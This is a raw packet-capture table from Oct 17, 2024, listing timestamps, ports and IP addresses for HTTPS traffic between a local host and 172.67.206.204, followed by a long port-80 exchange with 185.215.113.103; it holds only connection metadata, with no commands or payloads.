Oct 17, 2024 18:38:35.598052025 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.211232901 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.211313009 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.211491108 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.211834908 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.211854935 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.847817898 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.847938061 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.849364042 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.849370956 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.849597931 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.850984097 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852044106 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852068901 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.852185965 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852209091 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.852325916 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852402925 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.852538109 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852560997 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.852715015 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852741957 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.852890015 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852910042 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.852919102 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.852962971 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.853080988 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.853115082 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.862508059 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.862699986 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.862763882 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.862787008 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.862826109 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:36.863019943 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.863070965 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.863091946 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:36.863114119 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:38.847660065 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:38.847754955 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:38.847908020 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:38.850295067 CEST	49785	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:38.850310087 CEST	443	49785	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:38.899280071 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:38.899301052 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:38.899419069 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:38.899825096 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:38.899833918 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:39.527331114 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:39.527410030 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:39.529458046 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:39.529469013 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:39.529722929 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:39.531325102 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:39.531354904 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:39.531404018 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:40.110199928 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:40.110295057 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:40.110505104 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:40.110610962 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:40.110625029 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:40.110651970 CEST	49804	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:40.110657930 CEST	443	49804	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:40.115643024 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:40.120624065 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:40.120704889 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:40.120915890 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:40.126274109 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231554985 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231612921 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231627941 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231642962 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231708050 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.231709957 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231728077 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231743097 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231756926 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231780052 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231794119 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.231842041 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.236912012 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.236928940 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.236946106 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.236987114 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.278661013 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.348951101 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.348975897 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.348992109 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.349054098 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.349064112 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.349107027 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.349128008 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.349159002 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.349204063 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.390089035 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.390223980 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.390291929 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.390513897 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.390528917 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.390542984 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.390592098 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.391177893 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.391192913 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.391207933 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.391237020 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.391271114 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.391625881 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.391653061 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.392005920 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.466825008 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.466840982 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.466943979 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.548782110 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.548866987 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.548943043 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549000978 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549000025 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.549035072 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.549089909 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549299002 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549309015 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549320936 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549335003 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.549356937 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.549472094 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549732924 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549742937 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549753904 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.549778938 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.549798965 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.550010920 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.550127029 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.550331116 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.556792021 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.557446957 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.557493925 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.707856894 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708024025 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708034039 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708081961 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.708095074 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708106041 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708117962 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708127022 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.708128929 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708148956 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.708925009 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708944082 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708956003 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.708971977 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.708990097 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.709053040 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.709063053 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.709105968 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.867393017 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.867468119 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.867480993 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.867521048 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.867532015 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.867548943 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.867552042 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.867572069 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.867603064 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.868488073 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.868567944 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.868581057 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.868597984 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.868613005 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.868616104 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.868640900 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:41.868647099 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:41.868731976 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.023313046 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023349047 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023359060 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023396015 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023408890 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023415089 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023457050 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.023497105 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.023775101 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023786068 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023797035 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.023828983 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.024139881 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024183035 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024193048 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024233103 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.024511099 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024568081 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024579048 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024589062 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.024616957 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.024637938 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.181667089 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.181737900 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.181747913 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.181797981 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.181828976 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.181862116 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.181926012 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182171106 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182180882 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182223082 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.182332039 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182384014 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182394981 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182404995 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182404995 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.182425976 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.182768106 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182846069 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.182897091 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.183378935 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.183398008 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.183408976 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.183418036 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.183444023 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.339011908 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.339037895 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.339102983 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.339354992 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.339418888 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.339462996 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.341037989 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341118097 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341165066 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341176987 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341216087 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.341243982 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341254950 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341265917 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341316938 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.341466904 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341506958 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.341543913 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341555119 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.341607094 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.497904062 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.497922897 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.497936010 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.498007059 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.498959064 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.498996973 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499001026 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.499006987 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499043941 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.499095917 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499144077 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499155998 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499181032 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499191999 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.499219894 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.499557972 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499697924 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499712944 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499736071 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.499773026 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499783993 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.499804020 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.500013113 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.500053883 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.656382084 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.656456947 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.656466961 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.656563997 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.657017946 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657066107 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657103062 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657115936 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657121897 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.657130957 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.657149076 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657219887 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.657476902 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657548904 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657561064 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657588959 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.657655954 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657668114 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657692909 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.657917023 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.657959938 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815084934 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815110922 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815119982 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815226078 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815232992 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815270901 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815335035 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815457106 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815500975 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815546036 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815566063 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815603971 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815613031 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815622091 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815661907 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815830946 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815912962 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815932989 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815953016 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815957069 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.815963984 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.815988064 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.816461086 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.816513062 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.972687960 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972707033 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972718954 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972770929 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972795010 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.972841978 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.972866058 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972877026 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972913980 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.972925901 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.972929001 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973222971 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973233938 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973274946 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.973318100 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.973330975 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973362923 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973373890 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973407030 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.973711967 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973725080 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973736048 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:42.973756075 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:42.973776102 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:43.014662027 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:43.014693022 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:43.014707088 CEST	80	49815	185.215.113.103	192.168.2.7
